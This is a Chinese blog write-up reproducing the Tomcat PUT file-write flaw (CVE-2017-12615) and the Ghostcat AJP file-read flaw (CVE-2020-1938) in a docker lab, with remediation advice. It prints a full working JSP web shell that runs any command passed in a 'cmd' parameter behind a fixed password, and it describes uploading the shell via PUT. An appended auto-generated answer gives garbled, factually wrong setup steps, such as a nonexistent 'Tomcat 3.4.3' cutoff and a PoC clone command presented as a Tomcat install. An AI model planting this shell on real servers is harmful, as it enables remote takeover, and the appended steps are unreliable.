Tomcat PUT方法任意写文件漏洞和Tomcat-Ajp漏洞(CVE-2017-12615/CVE-2020-1938)漏洞复现

Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

Tomcat版本:8.5.19

PUT方法

  • 除常用的GET和POST方法外还包括和GET请求类似的HEAD请求,TRACE和OPTIONS请求,以及这里的PUT请求方法;

  • PUT请求方法试图使用包含在请求主体的内容,向服务器上传指定的资源。如果能激活这个方法就可以用它来攻击应用程序。

漏洞环境搭建

  1. 使用docker进入环境所在目录并拉取镜像到仓库运行

在这里插入图片描述

  1. 进入bash环境
docker exec -it 8afe1f5de9a6 /bin/bash

进入容器的bash环境,查看

cat /usr/local/tomcat/conf/web.xml

漏洞成因

在这里插入图片描述

其中配置了readonly=false,导致我们可以往服务器写文件

漏洞复现

进入tomcat的漏洞环境,进行抓包发送到reapeater模块构造

在这里插入图片描述

进入tomcat的主目录/usr/local/tomcat/webapps/ROOT中查看是否上传成功

在这里插入图片描述

显示没毛病,上传成功了,接下来就是研究上传的脚本了,怎样实现远程命令执行,对java不是很熟,学习了一下稍微注释了一些

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
//设置页面编码格式,导入java包
<%!
public static String excuteCmd(String c)
        {
        StringBuilder line = new StringBuilder();
        //StringBuilder一个类
        try
        {


        Process pro = Runtime.getRuntime().exec(c);
        //调用另一个的可执行程序或系统命令,cmd 是字符串类型 也可以是字符串类型的数组 内容就是 命令行
        BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
        //把字符流添加到缓冲流
        String temp = null;
        //值初始化为null


        while ((temp = buf.readLine()) != null)
        
        {


        line.append(temp+"\\n");
        }
        buf.close();
        //append追加字符串,然后关闭资源
        }


        catch (Exception e)


        {
        line.append(e.getMessage());
        }


        return line.toString();


        }
        %>


<%


        if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd")))
        //request.getParameter参数的取值,


        {
        out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
        }


        else
        {
        out.println(":-)");
        //输出打印笑脸
        }
        %>

所以这里给cmd赋值一个命令行的命令就应该能实现远程执行
在这里插入图片描述

漏洞解决方法

由于存在去掉最后的 / 的特性,最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true。

Tomcat-Ajp漏洞(CVE-2020-1938)漏洞复现

漏洞详情

2月14日,Apache Tomcat 官方发布安全更新版本,修复漏洞。2月20日,国家信息安全漏洞共享平台(CNVD)发布安全公告,该漏洞综合评级为高危,漏洞 CVE 编号 CVE-2020-1938。

漏洞危害

   攻击者可以读取 Tomcat下部署的所有webapp目录下的任意文件。
    此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意JsP脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用Ghostcat漏洞进行文件包含,从而达到代码执行的危害。

【版本影响】

  • Apache Tomcat 9.x<9.0.31
  • Apache Tomcat 8.X <8.5.51
  • Apache Tomcat 7.x<7.0.100
  • Apache Tomcat 6.x

最近有个关于tomcat的漏洞文件包含的漏洞,就顺便复现一下,以上资料也是网上查的;

漏洞复现

查看刚刚用于复现的tomcat版本号是否会受影响

在这里插入图片描述

版本号符合要求,进入容器

查看一下配置cat /usr/local/tomcat/conf/server.xml

在这里插入图片描述

8009以及AJP协议开放,说明存在其漏洞,从网上下载了poc进行漏洞复现,但是现在运行会报错

在这里插入图片描述

我原本单纯的以为8009端口应该会开放着但是并没有

在这里插入图片描述

所以这里需要将之前的容器关掉,指定容器开放8009端口再进行复现

docker stop 镜像id
docker run -d -p 8080:8080 -p 8009:8009 3053aee7bf96
docker ps查看正在运行的容器

进入容器的bash环境 docker exec it “id”/bin/bash

然后再检查一下8009端口是否已经开启

在这里插入图片描述
此时已经开启8009端口,使用poc读取web.xml文件,如图

读取成功

在这里插入图片描述

自行创建一个文件123.txt,检查是否能读取

在这里插入图片描述

在这里插入图片描述

同样也能读取

解决方案

  • 禁用AJP协议端口
  • 配置ajp配置中的secretRequired跟secret属性来限制认证
  • 8
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
Tomact_CVE-2020-1938漏洞,可以按照以下步骤进行操作: 1. 下载POC:可以使用以下命令下载POC文件: git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/ 2. 在攻击机上搭建环境:确保攻击机上已经安装了Tomcat服务器,并且版本在3.4.3以下,可以使用以下命令下载并安装Tomcat 3.4.3版本: git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/ 3. 配置Tomcat服务器:在Tomcat安装目录下,找到server.xml文件,在<Connector>标签中添加以下内容: protocol="org.apache.coyote.ajp.AjpNio2Protocol" secretRequired="false" 4. 启动Tomcat服务器:在Tomcat安装目录下运行启动脚本,如./catalina.sh run 5. 漏洞:使用以下命令触发漏洞: python3 file_include.py -u http://目标IP:目标端口/ -p /WEB-INF/web.xml 以上步骤可以帮助你Tomact_CVE-2020-1938漏洞。请注意,在进行漏洞时务必遵守道德规范,并获得合法授权进行测试。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [CVE-2020-1938 漏洞](https://blog.csdn.net/weixin_48799157/article/details/124889366)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* [CVE-2020-1938 Tomcat文件包含漏洞](https://blog.csdn.net/qq_49279082/article/details/129018726)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值